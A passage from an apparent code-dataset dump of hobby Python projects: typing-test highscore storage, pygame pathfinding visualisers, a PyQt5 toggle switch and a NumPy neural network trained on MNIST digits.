self._insert_highscore(score)\n\n # Update todays after getting all time (if todays highscore = all time highscore)\n highscore_row_all_time: Highscore | None = self.get_highscore_all_time()\n self._update_highscore_todays(score)\n\n if highscore_row_all_time:\n if score > highscore_row_all_time.score:\n self._update_highscore_all_time()\n else:\n # Today's highscore\n return OPTIONS_HIGHSCORES[1]\n else:\n self._set_highscore_all_time()\n\n # All time higghscore\n return OPTIONS_HIGHSCORES[2]\n\n def delete_all_highscores(self) -> None:\n self.cursor.execute(COMMANDS[\"del_all\"])\n self.conn.commit()\n\n def delete_highscore(self, date: str) -> None:\n self.cursor.execute(COMMANDS[\"del_row\"].format(\"date\"), (date,))\n self.conn.commit()\n\n def days_since_set(self) -> int:\n \"\"\"Returns the number of days since the all-time highscore was set.\"\"\"\n\n datetime_today: datetime = datetime.today()\n\n all_time_highscore: Highscore | None = self.get_highscore_all_time()\n datetime_all_time: datetime = (\n get_datetime_from_str(all_time_highscore.date)\n if all_time_highscore\n else datetime_today\n )\n\n time_delta: timedelta = datetime_today - datetime_all_time\n\n return time_delta.days\n\n def get_wpm(self) -> tuple:\n \"\"\"Returns the daily and all time highest wpm scores.\"\"\"\n\n highscore_today: Highscore | None = self.get_highscore_todays()\n highscore_all_time: Highscore | None = self.get_highscore_all_time()\n\n return (\n highscore_today.score if highscore_today else 0,\n highscore_all_time.score if highscore_all_time else 0,\n )\n", "id": "8743438", "language": "Python", "matching_score": 2.6985678672790527, "max_stars_count": 0, "path": "ps_typer/data/highscores_data_handler.py" }, { "content": "import os\nimport pickle\nimport datetime\nfrom typing import List, Dict\nfrom pathlib import Path\n\n\nclass Highscores:\n # PATHS\n BASE_PATH = Path(__file__).parents[1]\n DATA_PATH = BASE_PATH / \"data\"\n PICKLE_PATH = DATA_PATH / \"highscores.pkl\"\n BACKUP_PATH = DATA_PATH / \"backup_highscores.pkl\"\n\n def __init__(self):\n self.today = datetime.datetime.today()\n self.date = str(self.today.date())\n\n self._load_data()\n\n def _exists_pickle(self) -> bool:\n \"\"\"Returns True if main pickle file exists.\"\"\"\n\n return os.path.exists(self.PICKLE_PATH)\n\n def _exists_backup(self) -> bool:\n \"\"\"Returns True if backup pickle file exists.\"\"\"\n\n return os.path.exists(self.BACKUP_PATH)\n\n def _load_data(self) -> None:\n \"\"\"\n Loads pickle data to self.data if a pickle exists, otherwise\n it gives a default value to self.data.\n \"\"\"\n\n self.data: Dict\n\n if self._exists_pickle():\n path = self.PICKLE_PATH\n elif self._exists_backup():\n path = self.BACKUP_PATH\n else:\n self.data = {\n \"daily-highscores\": [f\"{self.date}: 0\"],\n \"all-time-highscore\": f\"{self.date}: 0\",\n }\n return\n\n with open(path, \"rb\") as data_pickle:\n self.data = pickle.load(data_pickle)\n # Add highscore line for current day if one does not exist\n if self.data[\"daily-highscores\"][-1][:10] != str(self.date):\n self.data[\"daily-highscores\"].append(f\"{self.date}: 0\")\n\n def _set_stats(self) -> None:\n \"\"\"Sets current wpm stats from self.data.\"\"\"\n\n self.today_wpm = int(self.data[\"daily-highscores\"][-1].split()[-1])\n self.all_time_wpm = int(self.data[\"all-time-highscore\"].split()[-1])\n\n def _delete_backup(self) -> None:\n \"\"\"Deletes the backup pickle file, if it exists.\"\"\"\n\n if self._exists_backup():\n os.remove(self.BACKUP_PATH)\n\n def _make_backup(self) -> None:\n \"\"\"Turns current pickle file into a backup file, and deletes old backup.\"\"\"\n\n self._delete_backup()\n\n os.rename(self.PICKLE_PATH, self.BACKUP_PATH)\n\n def _save_data(self) -> None:\n \"\"\"Saves data to a pickle file.\"\"\"\n\n if self._exists_pickle():\n self._make_backup()\n\n with open(self.PICKLE_PATH, \"wb\") as data_pickle:\n pickle.dump(self.data, data_pickle)\n\n def _check_all_time_highscore(self, score: int) -> bool:\n \"\"\"Returns True if highscore provided is greater than the all time highscore.\"\"\"\n\n self._set_stats()\n\n return score > self.all_time_wpm\n\n def _check_daily_highscore(self, score: int) -> bool:\n \"\"\"Returns True if highscore provided is greater than today's highscore.\"\"\"\n\n self._set_stats()\n\n return score > self.today_wpm\n\n def _add_daily_highscore(self, score: int) -> None:\n \"\"\"Adds a highscore to self.data for today.\"\"\"\n\n # Remove old daily highscore\n self.data[\"daily-highscores\"].pop()\n\n self.data[\"daily-highscores\"].append(f\"{self.date}: {score}\")\n\n def _add_all_time_highscore(self, score: int) -> None:\n \"\"\"Adds a daily and all time highscore to self.data.\"\"\"\n self._add_daily_highscore(score)\n\n self.data[\"all-time-highscore\"] = f\"{self.date}: {score}\"\n\n # PUBLIC METHODS\n def delete_daily_highscore(self) -> None:\n \"\"\"Deletes current daily highscore.\"\"\"\n\n self._add_daily_highscore(0)\n self._save_data()\n\n def delete_all_time_highscore(self) -> None:\n \"\"\"Deletes the current all-time highscore, and also today's highscore.\"\"\"\n\n self._add_all_time_highscore(0)\n self._save_data()\n\n def delete_all_highscores(self) -> None:\n \"\"\"Deletes all daily highscore and all-time highscore data.\"\"\"\n\n self.data[\"daily-highscores\"] = [f\"{self.date}: 0\"]\n self.delete_all_time_highscore()\n\n def get_datetime_object(self, date: str) -> datetime.datetime:\n \"\"\"\n Returns a datetime object from a given string.\n The string must be in the format yyyy-mm-dd.\n \"\"\"\n\n # Convert string into a list of integers\n numerical_date: list = list(map(int, date.split(\"-\")))\n\n return datetime.datetime(\n numerical_date[0], numerical_date[1], numerical_date[2]\n )\n\n def days_since_set(self) -> int:\n \"\"\"Returns the number of days since the all-time highscore was set.\"\"\"\n\n # Get the date section from the all-time highscore\n # then get a datetime object for that date\n string_date: str = self.data[\"all-time-highscore\"].split(\":\")[0]\n date_set: datetime.datetime = self.get_datetime_object(string_date)\n\n # Get a timedelta object representing the time between today and date_set\n difference: datetime.timedelta = self.today - date_set\n\n return difference.days\n\n def get_wpm(self) -> tuple:\n \"\"\"\n Returns the daily and all time highest wpm.\n\n Used to display wpm scores on main menu.\n \"\"\"\n\n self._set_stats()\n\n return self.today_wpm, self.all_time_wpm\n\n def update(self, score: int) -> str:\n \"\"\"Main function, checks if a given score is a highscore then saves that\n value to self.data and to a pickle file.\n\n Returns string representing whether value was a daily or all time highscore.\n \"\"\"\n\n result = \"none\"\n\n if self._check_all_time_highscore(score):\n self._add_all_time_highscore(score)\n self._save_data()\n result = \"all-time\"\n\n elif self._check_daily_highscore(score):\n self._add_daily_highscore(score)\n self._save_data()\n result = \"daily\"\n\n return result\n\n def get_stats_dailies(self) -> List[str]:\n \"\"\"\n Returns self.data[\"daily-highscores\"] as raw data to be used\n in the plotting of a graph.\n \"\"\"\n\n return self.data[\"daily-highscores\"]\n\n\nif __name__ == \"__main__\":\n highscore = Highscores()\n\n print(highscore.update(1))\n print(highscore.update(2))\n print(highscore.update(1))\n", "id": "2647641", "language": "Python", "matching_score": 1.0771807432174683, "max_stars_count": 1, "path": "speed-typer/type_test/highscores.py" }, { "content": "from queue import LifoQueue, PriorityQueue, Queue\nimport pygame\n\n\n# Algorithm Helper Functions #####################################################\ndef reconstruct_final_path(path, current, draw, start, end):\n \"\"\"\n Goes through each node in the path calculated by an algorithm function, and\n draws out the path on the display.\n \"\"\"\n\n while current in path:\n # Necessary as a new loop has been opened\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n quit()\n\n # Path contains nodes as current node: previous node,\n # so this goes through the nodes backwards from the end\n # node to the start node\n current = path[current]\n current.make_path()\n draw()\n if current == start:\n break\n\n # Make start and end nodes change colour back to their original, and\n # not the path colour\n end.make_end()\n start.make_start()\n\n\ndef heur(p1, p2):\n \"\"\"\n Heuristic function, gets a prediction for the distance from the\n given node to the end node, which is used to guide the a*\n algorithm on which node to search next.\n\n Uses Manhattan distance, which simply draws an L to the end node.\n \"\"\"\n\n x1, y1 = p1\n x2, y2 = p2\n\n return abs(x1 - x2) + abs(y1 - y2)\n\n\ndef open_node(end, neighbour):\n \"\"\"Sets a node to open if it is not the end node.\"\"\"\n\n if neighbour != end:\n neighbour.make_open()\n\n\ndef close_node(start, current):\n \"\"\"Sets a node to closed if it is not the start node.\"\"\"\n\n if current != start:\n current.make_closed()\n\n\ndef a_star_algorithm(draw, grid, start, end):\n \"\"\"\n Searches through nodes guided by a heuristic function which\n predicts the distance to the end node and prioritises which\n node to search based on this.\n\n As this is a guided algorithm, it is usually faster than\n unguided ones.\n\n This ensures the shortest path.\n \"\"\"\n\n # Keeps track of when node is inserted to the queue\n count = 0\n # Will be used to ge the minimum element from the queue,\n # based on the f_score\n open_set = PriorityQueue()\n # add start node to open set, count to keep track of\n # when item was inserted to queue\n open_set.put((0, count, start))\n # keeps track of node prior in the path to a certain\n # node, updated if a new node with lower g_score is found\n path = {}\n\n # Current shortest distance to get from the start node to\n # this node. Initialised at infinity and updated as the\n # node is reached, so any number is lower than it\n g_score = {node: float(\"inf\") for row in grid for node in row}\n g_score[start] = 0\n\n # G score + predicted distance to the end node, defined by\n # the heuristic function. Will be used to determine which\n # node should come next in the priority queue\n f_score = {node: float(\"inf\") for row in grid for node in row}\n f_score[start] = heur(start.get_position(), end.get_position())\n\n # To keep track of which items are in the priority queue\n open_set_hash = {start}\n\n while not open_set.empty():\n # Necessary as a new loop has been opened\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n quit()\n\n # Node with the lowest f score gets chosen first\n # thanks to the priority queue\n current = open_set.get()[2]\n # To sync list with priority queue\n open_set_hash.remove(current)\n\n # As soon as the end node is reached, the path is built\n # and the loop ends\n if current == end:\n reconstruct_final_path(path, end, draw, start, end)\n return True\n\n for neighbour in current.neighbours:\n # all edges have weight 1, so g_score for the node is\n # g_score for previous node + 1\n temp_g_score = g_score[current] + 1\n\n # Update g_score and f_score if a new shorter path is\n # found\n if temp_g_score < g_score[neighbour]:\n path[neighbour] = current\n g_score[neighbour] = temp_g_score\n f_score[neighbour] = temp_g_score + heur(\n neighbour.get_position(), end.get_position()\n )\n\n # Add neighbour node to open_set_hash and open_set\n if neighbour not in open_set_hash:\n count += 1\n open_set.put((f_score[neighbour], count, neighbour))\n open_set_hash.add(neighbour)\n open_node(end, neighbour)\n # Update the display\n draw()\n\n # Closes the node after it has been looped through, but note it\n # can be added back in and opened if another path to it is found\n close_node(start, current)\n\n return False\n\n\ndef breadth_first_search(draw, grid, start, end):\n \"\"\"\n Searches every traversible node outwards starting from\n the start node until the end node is reached.\n\n This ensures the shortest path.\n \"\"\"\n\n # Queue allows nodes to be searched in a certain order\n # Operates on a FIFO basis\n open_set = Queue()\n open_set.put(start)\n\n # Keeps track of node prior in the path to a certain node\n # (also tracks if node has been visited). All nodes are\n # added to path so they can be used in if statements without\n # throwing a key error\n path = {node: None for row in grid for node in row}\n\n while not open_set.empty():\n # Necessary as a new loop has been opened\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n quit()\n\n # Gets first item in the queue which will always be\n # the item added before all the others\n current = open_set.get()\n\n if current == end:\n reconstruct_final_path(path, current, draw, start, end)\n return True\n\n for neighbour in current.neighbours:\n # Neighbour is only added to queue if it has not\n # yet been visited\n if path[neighbour]:\n continue\n # If statement so start node's colour does not\n # get altered\n if not neighbour == start:\n open_set.put(neighbour)\n open_node(end, neighbour)\n path[neighbour] = current\n\n # Update the display\n draw()\n\n close_node(start, current)\n\n return False\n\n\ndef depth_first_search(draw, grid, start, end):\n \"\"\"\n Searches every possible node from the starting node\n in a specific order and returns a path.\n\n Depth first search will be extremely inaccurate at\n giving short paths in open mazes. This is because it\n searches nodes in order of top, right, bottom, left\n so it will always expand go to the left if possible\n (LIFO), often returning very longwinded routes to\n get to the end node.\n\n This does not ensure the shortest path.\n \"\"\"\n\n # Queue allows nodes to be searched in a certain order\n # Operates on a FIFO basis\n open_set = LifoQueue()\n open_set.put(start)\n\n # Keeps track of node prior in the path to a certain\n # node (also tracks if node has been visited). All nodes\n # are added to path so they can be used in if statements\n # without throwing a key error\n path = {node: None for row in grid for node in row}\n\n # While loop runs until the end point is found or\n # there are no nodes left to search\n while not open_set.empty():\n # Necessary as a new loop has been opened\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n quit()\n\n # Gets first item in the queue which will always\n # be the last node added\n current = open_set.get()\n\n if current == end:\n reconstruct_final_path(path, current, draw, start, end)\n return True\n\n for neighbour in current.neighbours:\n # Neighbour is only added to queue if it has\n # not yet been visited\n if path[neighbour]:\n continue\n # If statement so start node's colour does\n # not get altered\n if not neighbour == start:\n open_set.put(neighbour)\n open_node(end, neighbour)\n path[neighbour] = current\n\n # Update the display\n draw()\n\n close_node(start, current)\n\n return False\n\n\ndef dijkstras(draw, grid, start, end):\n \"\"\"\n Will appear extremely similar to breadth first search,\n but it is built to handle edges between nodes of\n different weights and uses a priority queue based on\n these weights.\n\n This ensures the shortest path.\n \"\"\"\n\n # Will allow the algorithm to prioritise nodes with\n # lower distance scores but since all edges have weight\n # 1, visually this won't make a difference\n open_set = PriorityQueue()\n\n # Position of item added to the queue, required for\n # the priority queue\n count = 0\n\n # Minimum distance to get to each node\n # Give all nodes an infinite distance score so that\n # any path that reaches them is shorter\n distance_score = {node: float(\"inf\") for row in grid for node in row}\n\n # Keeps track of node prior in the path to a certain\n # node (also tracks if node has been visited). All\n # nodes are added to path so they can be used in if\n # statements without throwing a key error\n path = {node: None for row in grid for node in row}\n\n # Set distance score of start node to 0 and add it\n # to the open set\n distance_score[start] = 0\n open_set.put((distance_score[start], count, start))\n\n # Loop will end when the end node is reached or when\n # there are no nodes left to search\n while not open_set.empty():\n # Necessary as a new loop has been opened\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n quit()\n\n # Gets node with lowest distance score\n current = open_set.get()[2]\n\n # Path is constructed as soon as the end node\n # is reached. If the distance score was to be\n # used, the distance to the end node would also\n # have to be added\n if current == end:\n reconstruct_final_path(path, current, draw, start, end)\n return True\n\n # Loops through neighbours of the current node,\n # which will always be valid neighbours (because\n # of class function update_neighbours)\n for neighbour in current.neighbours:\n # If neighbour has been visited, skip\n if path[neighbour]:\n continue\n\n # +1 because in this graph, the distance\n # between all nodes is equivalent to 1 i.e.\n # all edges have the same weight. If the\n # edges had different weights, this is where\n # the weight to that specific node would be\n # taken into account.\n if distance_score[current] + 1 < distance_score[neighbour]:\n # Update shortest path to that node\n distance_score[neighbour] = distance_score[current] + 1\n # Update count, again only for the\n # priority queue functionality\n count += 1\n # Add neighbour to queue\n open_set.put((distance_score[neighbour], count, neighbour))\n # Update path for neighbour\n path[neighbour] = current\n open_node(end, neighbour)\n\n # Update the display\n draw()\n\n close_node(start, current)\n\n return False\n\n\ndef best_first(draw, grid, start, end):\n \"\"\"\n Uses the manhattan distance heuristic function\n like the a* algorithm, but does not take into\n account distance already travelled.\n\n This does not ensure the shortest path as it\n does not take into account the distance from\n the start node.\n \"\"\"\n\n # Will allow the algorithm to prioritise nodes\n # with lower distance scores but since all edges\n # have weight 1, visually this won't make much\n # of a difference\n open_set = PriorityQueue()\n # Position of item added to the queue, required\n # for the priority queue\n count = 0\n\n # All nodes are given a distance score calculated\n # with the heuristic function\n distance_score = {\n node: heur(node.get_position(), end.get_position())\n for row in grid\n for node in row\n }\n\n # Keeps track of node prior in the path to a certain\n # node (also tracks if node has been visited). All\n # nodes are added to path so they can be used in if\n # statements without throwing a key error\n path = {node: None for row in grid for node in row}\n\n # Add start node to the open set\n open_set.put((distance_score[start], count, start))\n\n # Loop will end when the end node is reached\n # or when there are no nodes left to search\n while not open_set.empty():\n # Necessary as a new loop has been opened\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n quit()\n\n # Gets node with lowest distance score\n current = open_set.get()[2]\n\n # Path is constructed as soon as the end node\n # is reached\n if current == end:\n reconstruct_final_path(path, current, draw, start, end)\n return True\n\n # Loops through neighbours of the current node,\n # which will always be valid neighbours (because\n # of class function update_neighbours)\n for neighbour in current.neighbours:\n # If neighbour has been visited, skip\n if path[neighbour]:\n continue\n\n # If statement so start node's colour does\n # not get altered and it does not get added\n # to the open set\n if not neighbour == start:\n # Update path to neighbour\n path[neighbour] = current\n # Update count, again only for the\n # priority queue functionality\n count += 1\n # Add neighbour to queue\n open_set.put((distance_score[neighbour], count, neighbour))\n open_node(end, neighbour)\n\n # Update the display\n draw()\n\n close_node(start, current)\n\n return False\n", "id": "12733468", "language": "Python", "matching_score": 1.3476499319076538, "max_stars_count": 1, "path": "pathfind-visualiser/pathfinder/algorithms.py" }, { "content": "from PyQt5.QtCore import QEasingCurve, QPropertyAnimation, Qt, pyqtProperty\nfrom PyQt5.QtGui import QColor, QPainter\nfrom PyQt5.QtWidgets import QCheckBox\n\n\nclass Switch(QCheckBox):\n \"\"\"A custom toggle switch widget which inherits from QCheckBox.\"\"\"\n\n def __init__(\n self,\n bg_colour=\"#777777\",\n active_bg_colour=\"#00BCFF\",\n circle_colour=\"#DDDDDD\",\n animation_curve=QEasingCurve.InCurve,\n animation_duration=150,\n ):\n\n super().__init__()\n\n # Colours\n self._active_bg_colour = QColor(active_bg_colour)\n self._bg_colour = QColor(bg_colour)\n self._circle_colour = QColor(circle_colour)\n self._focused_circle_colour = self._circle_colour.lighter(120)\n\n # Size and Cursor\n self.setFixedSize(60, 28)\n self.setCursor(Qt.PointingHandCursor)\n\n # Animation\n self._circle_position = 3\n self.animation = QPropertyAnimation(self, b\"circle_position\", self)\n self.animation.setEasingCurve(animation_curve)\n self.animation.setDuration(animation_duration)\n\n self.stateChanged.connect(self.start_transition)\n\n # Focus default value\n self._is_focused = False\n\n # Position property for animation\n @pyqtProperty(int)\n def circle_position(self):\n return round(self._circle_position)\n\n # Error on setter ignored due to issue with mypy itself\n # https://github.com/python/mypy/issues/9911\n @circle_position.setter # type: ignore\n def circle_position(self, pos: int):\n self._circle_position = pos\n self.update()\n\n def start_transition(self, value):\n self.animation.stop()\n if value:\n self.animation.setEndValue(self.width() - 26)\n else:\n self.animation.setEndValue(3)\n\n self.animation.start()\n\n def hitButton(self, pos):\n return self.contentsRect().contains(pos)\n\n # FOCUS\n def focusInEvent(self, event):\n super().focusInEvent(event)\n self._is_focused = True\n\n def focusOutEvent(self, event):\n super().focusOutEvent(event)\n self._is_focused = False\n\n def isFocused(self):\n \"\"\"\n Convenience helper method, so focus can be checked for in the same way as\n self.isChecked() operates.\n \"\"\"\n\n return self._is_focused\n\n # PAINT\n def _paint(self, painter, bg_colour, circle_colour):\n \"\"\"Helper method for self.PaintEvent().\"\"\"\n width = self.width()\n height = self.height()\n half_height = height // 2\n\n # Draw BG\n painter.setBrush(bg_colour)\n painter.drawRoundedRect(0, 0, width, height, half_height, half_height)\n\n # Draw circle\n painter.setBrush(circle_colour)\n painter.drawEllipse(self._circle_position, 3, 22, 22)\n\n def paintEvent(self, e):\n painter = QPainter(self)\n painter.setRenderHint(QPainter.Antialiasing)\n painter.setPen(Qt.NoPen)\n\n bg_colour = self._active_bg_colour if self.isChecked() else self._bg_colour\n\n circle_colour = (\n self._focused_circle_colour if self.isFocused() else self._circle_colour\n )\n\n self._paint(painter, bg_colour, circle_colour)\n\n painter.end()\n", "id": "148367", "language": "Python", "matching_score": 1.1405404806137085, "max_stars_count": 0, "path": "ps_typer/type_test/components/switch.py" }, { "content": "from .switch import Switch\n", "id": "2488345", "language": "Python", "matching_score": 0.020288800820708275, "max_stars_count": 1, "path": "ps_typer/type_test/components/__init__.py" } ]
2.223371
MinkyuSon
[ { "content": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Feb 11 08:44:36 2020\r\n\r\n@author: minky\r\n\"\"\"\r\n\r\n#arr.reshape(-1,1) shapes array to column vector\r\nimport numpy as np\r\nimport struct as st\r\nfrom datetime import datetime\r\n\r\nclass NeuralNetLayer():\r\n def __init__():\r\n pass\r\n \r\n def forProp():\r\n pass\r\n \r\n def backProp():\r\n pass\r\n \r\nclass LinearLayer:\r\n def __init__(self, PrevLayerSize, LayerSize):\r\n self.size = (PrevLayerSize, LayerSize)\r\n self.Weight = np.random.randn(self.size[1],self.size[0])\r\n self.Bias = np.random.randn(self.size[1]).reshape(-1,1)\r\n \r\n self.WeightGradients = np.zeros(self.Weight.shape)\r\n self.WeightGradientsCount = 0\r\n self.BiasGradients = np.zeros(self.Bias.shape)\r\n self.BiasGradientsCount = 0\r\n \r\n def forwardProp(self, a):\r\n self.a = np.array(a).reshape(-1,1)\r\n self.z = (np.matmul(self.Weight, self.a)+self.Bias).reshape(-1,1)\r\n return self.z\r\n \r\n def backProp(self):\r\n return self.Weight\r\n \r\n def WeightGradient(self, dJdz): #eta is the learning rate\r\n self.dzdw = np.zeros((self.size[1], self.size[0]*self.size[1]))\r\n for k in range(self.size[1]):\r\n self.dzdw[k][k*self.size[0]:(k+1)*self.size[0]] = self.a.transpose()\r\n self.dJdw = np.matmul(dJdz.T,self.dzdw).reshape(self.size[1],self.size[0])\r\n self.dJdb = dJdz #turns out to be the same\r\n self.WeightGradients += self.dJdw\r\n self.BiasGradients += self.dJdb\r\n self.WeightGradientsCount += 1\r\n self.BiasGradientsCount += 1\r\n \r\n\r\n def updateWeight(self, eta):\r\n self.Weight -= (eta/self.WeightGradientsCount)*self.WeightGradients\r\n self.Bias -= (eta/self.BiasGradientsCount)*self.BiasGradients\r\n \r\n self.WeightGradients = np.zeros(self.Weight.shape)\r\n self.WeightGradientsCount = 0\r\n self.BiasGradients = np.zeros(self.Bias.shape)\r\n self.BiasGradientsCount = 0\r\n \r\n return (self.Weight, self.Bias)\r\n\r\n \r\nclass SoftMaxLayer:\r\n def __init__(self, *LayerSize):\r\n self.size = LayerSize[0]\r\n \r\n def forwardProp(self, z):\r\n self.z = np.array(z).reshape(-1,1)\r\n SumExp = np.nan_to_num(sum(np.exp(z))) #in case we get np.inf\r\n self.a = (np.nan_to_num(np.exp(z))/SumExp).reshape(-1,1)\r\n return self.a\r\n \r\n def backProp(self):\r\n self.dadz = (np.diag(self.a.T[0])-self.a@self.a.T)\r\n return self.dadz\r\n\r\nclass SoftPlusLayer:\r\n def __init__(self, *LayerSize):\r\n self.size = LayerSize[0]\r\n \r\n def forwardProp(self, z):\r\n self.z = np.array(z).reshape(-1,1)\r\n self.a = np.log(1+np.nan_to_num(np.exp(self.z))).reshape(-1,1)\r\n return self.a\r\n \r\n def backProp(self):\r\n self.dadz = np.diag(1/(1+np.nan_to_num(np.exp(-self.z))).T[0])\r\n return self.dadz\r\n\r\nclass CostLayer:\r\n def __init__(self, *LayerSize):\r\n self.eps = np.exp(-100)\r\n self.size = LayerSize[0]\r\n \r\n def forwardProp(self, a, y):\r\n self.a = np.array(a).reshape(-1,1)\r\n self.y = np.array(y).reshape(-1,1)\r\n return -(np.log(a+self.eps).T@y + np.log(1-a-self.eps)@(1-y))\r\n \r\n def backProp(self):\r\n self.dJda = -1*np.where(self.y==1, 1/(self.a+self.eps), 1/(self.a+self.eps-1)).reshape(-1,1)\r\n return self.dJda.reshape(-1,1)\r\n \r\nclass LayerSequence:\r\n LayerDict = {'R': SoftPlusLayer, 'S': SoftMaxLayer, 'C': CostLayer, 'L': LinearLayer}\r\n\r\n def __init__(self, LayerList, LayerSize): #LayerList is the string representing the order of label. LayerSize is a list of pair for each layers\r\n self.LayerList = LayerList\r\n assert LayerList[-1] == 'C', 'last layer must be costLayer'\r\n self.Network = []\r\n self.NetworkLength = len(LayerList)\r\n for k in range(self.NetworkLength):\r\n self.Network.append(self.LayerDict[LayerList[k]](*LayerSize[k]))\r\n\r\n def forwardProp(self, a, y):\r\n for k in range(self.NetworkLength-1): #not including the costLayer\r\n a = self.Network[k].forwardProp(a)\r\n self.cost = self.Network[-1].forwardProp(a, y)\r\n return a, self.cost\r\n\r\n def backProp(self):\r\n self.CountWeight = self.LayerList.count('L')\r\n self.backPropWeights = [0 for k in range(self.CountWeight)]\r\n weightLayerIndex = 0\r\n self.backPropChain = self.Network[-1].backProp() #CostLayer\r\n \r\n for k in range(-2, -self.NetworkLength-1, -1): #start at the final layer and backpropogate\r\n if self.LayerList[k] == 'L':\r\n self.backPropWeights[weightLayerIndex] = (k, np.copy(self.backPropChain))\r\n weightLayerIndex += 1\r\n self.backPropChain = (self.backPropChain.T@self.Network[k].backProp()).T\r\n \r\n for k in self.backPropWeights:\r\n self.Network[k[0]].WeightGradient(k[1])\r\n\r\n def updateWeight(self, eta): #eta is the learning rate\r\n self.WeightsList = {}\r\n self.BiasesList = {}\r\n for k in self.backPropWeights: #store updated weights for saving\r\n self.WeightsList[str(k[0])], self.BiasesList[str(k[0])] = self.Network[k[0]].updateWeight(eta)\r\n\r\n def SaveWeight(self, FileName):\r\n np.savez(FileName+'_Weight.npz', **self.WeightsList)\r\n np.savez(FileName+'_Bias.npz', **self.BiasesList)\r\n \r\n def LoadWeight(self, FileName):\r\n with np.load(FileName+'_Weight.npz') as WeightsFile:\r\n for k in WeightsFile.keys():\r\n index = int(k)\r\n assert self.Network[index].Weight.shape == WeightsFile[k].shape, 'the shape of loaded matrix should match'\r\n self.Network[index].Weight = WeightsFile[k]\r\n with np.load(FileName+'_Bias.npz') as BiasesFile:\r\n for k in BiasesFile.keys():\r\n index = int(k)\r\n assert self.Network[index].Bias.shape == BiasesFile[k].shape, 'the shape of loaded matrix should match'\r\n self.Network[index].Bias = BiasesFile[k]\r\n\r\n\r\n \r\n##################################################################################\r\n \r\n\r\nfilename = {'train_images' : 'train-images.idx3-ubyte' ,'train_labels' : 'train-labels.idx1-ubyte', 'test_images' : 't10k-images.idx3-ubyte', 'test_labels' : 't10k-labels.idx1-ubyte'}\r\n\r\nwith open(filename['train_images'],'rb') as train_imagesfile:\r\n train_imagesfile.seek(0)\r\n magic = st.unpack('>4B',train_imagesfile.read(4))\r\n nImg = st.unpack('>I',train_imagesfile.read(4))[0] #num of images\r\n nR = st.unpack('>I',train_imagesfile.read(4))[0] #num of rows\r\n nC = st.unpack('>I',train_imagesfile.read(4))[0] #num of column\r\n nBytesTotal = nImg*nR*nC*1 #since each pixel data is 1 byte\r\n train_images_array = np.zeros((nImg,nR,nC))\r\n train_images_array = 255 - np.asarray(st.unpack('>'+'B'*nBytesTotal,train_imagesfile.read(nBytesTotal))).reshape((nImg,nR,nC))\r\n train_imagesfile.seek(16)\r\n train_images_array_train = np.zeros((nImg,nR*nC))# feeding into the neuralNet\r\n train_images_array_train = 255 - np.asarray(st.unpack('>'+'B'*nBytesTotal,train_imagesfile.read(nBytesTotal))).reshape((nImg,nR*nC))\r\n\r\nwith open(filename['test_images'],'rb') as test_imagesfile:\r\n test_imagesfile.seek(0)\r\n magic = st.unpack('>4B',test_imagesfile.read(4))\r\n nImg = st.unpack('>I',test_imagesfile.read(4))[0] #num of images\r\n nR = st.unpack('>I',test_imagesfile.read(4))[0] #num of rows\r\n nC = st.unpack('>I',test_imagesfile.read(4))[0] #num of column\r\n nBytesTotal = nImg*nR*nC*1 #since each pixel data is 1 byte\r\n test_images_array = np.zeros((nImg,nR,nC))\r\n test_images_array = 255 - np.asarray(st.unpack('>'+'B'*nBytesTotal,test_imagesfile.read(nBytesTotal))).reshape((nImg,nR,nC))\r\n test_imagesfile.seek(16)\r\n test_images_array_train = np.zeros((nImg,nR*nC))#feeding into the neuralNet\r\n test_images_array_train = 255 - np.asarray(st.unpack('>'+'B'*nBytesTotal,test_imagesfile.read(nBytesTotal))).reshape((nImg,nR*nC))\r\n\r\nwith open(filename['train_labels'], 'rb') as train_labelsfile:\r\n train_labelsfile.seek(0)\r\n magic = st.unpack('>4B',train_labelsfile.read(4))\r\n nLabel = st.unpack('>I',train_labelsfile.read(4))[0] #num of labels\r\n train_labels_array = np.zeros((nLabel))\r\n nBytesTotal = nLabel*1 #since each label data is 1 byte\r\n train_labels_array = np.asarray(st.unpack('>'+'B'*nBytesTotal,train_labelsfile.read(nBytesTotal))).reshape((nLabel))\r\n\r\nwith open(filename['test_labels'], 'rb') as test_labelsfile:\r\n test_labelsfile.seek(0)\r\n magic = st.unpack('>4B',test_labelsfile.read(4))\r\n nLabel = st.unpack('>I',test_labelsfile.read(4))[0] #num of labels\r\n test_labels_array = np.zeros((nLabel))\r\n nBytesTotal = nLabel*1 #since each label data is 1 byte\r\n test_labels_array = np.asarray(st.unpack('>'+'B'*nBytesTotal,test_labelsfile.read(nBytesTotal))).reshape((nLabel))\r\n \r\ntrain_images_array = train_images_array/256\r\ntrain_images_array_train = train_images_array_train/256\r\ntest_images_array = test_images_array/256\r\ntest_images_array_train = test_images_array_train/256\r\n\r\ndef LabelEncode(Label, length):\r\n ANS = np.zeros(length)\r\n ANS[Label] = 1\r\n return ANS\r\n\r\n\"\"\"\r\nk = 4\r\nimgplot = plt.imshow(train_images_array[k], cmap = 'gray')\r\nprint(train_labels_array[k])\r\n\"\"\"\r\n\r\nprint('Data Loaded')\r\n\r\nHandWriteRecogNet = LayerSequence('LRLRLSC', ((784,16), (16,16), (16,16), (16,16), (16,10), (10,10), (10,1)))\r\n#HandWriteRecogNet.LoadWeight('HandWriting')\r\n\r\na = train_images_array_train[1]\r\ny = np.zeros(10)\r\ny[train_labels_array[1]] = 1\r\n\r\n\r\n\r\nA = np.random.rand(784).reshape(-1,1)\r\ny = [1,0,0,0,0,0,0,0,0,0]\r\nHandWriteRecogNet.forwardProp(A,y)\r\n\r\n\r\nepoch = 1000\r\nBreak = False\r\nfor k in range(epoch):\r\n shuffle = np.arange(60000)\r\n np.random.shuffle(shuffle)\r\n for i in range(100):\r\n for j in range(600):\r\n a = train_images_array_train[shuffle[600*i+j]]\r\n y = LabelEncode(train_labels_array[shuffle[600*i+j]], 10)\r\n ANS = HandWriteRecogNet.forwardProp(a,y)[0]\r\n# print(ANS)\r\n HandWriteRecogNet.backProp()\r\n if np.isnan(ANS[-1][0]):\r\n Break = True\r\n break\r\n if Break:\r\n break\r\n HandWriteRecogNet.updateWeight(0.05)\r\n# if input('Continue?: ').lower()[0] == 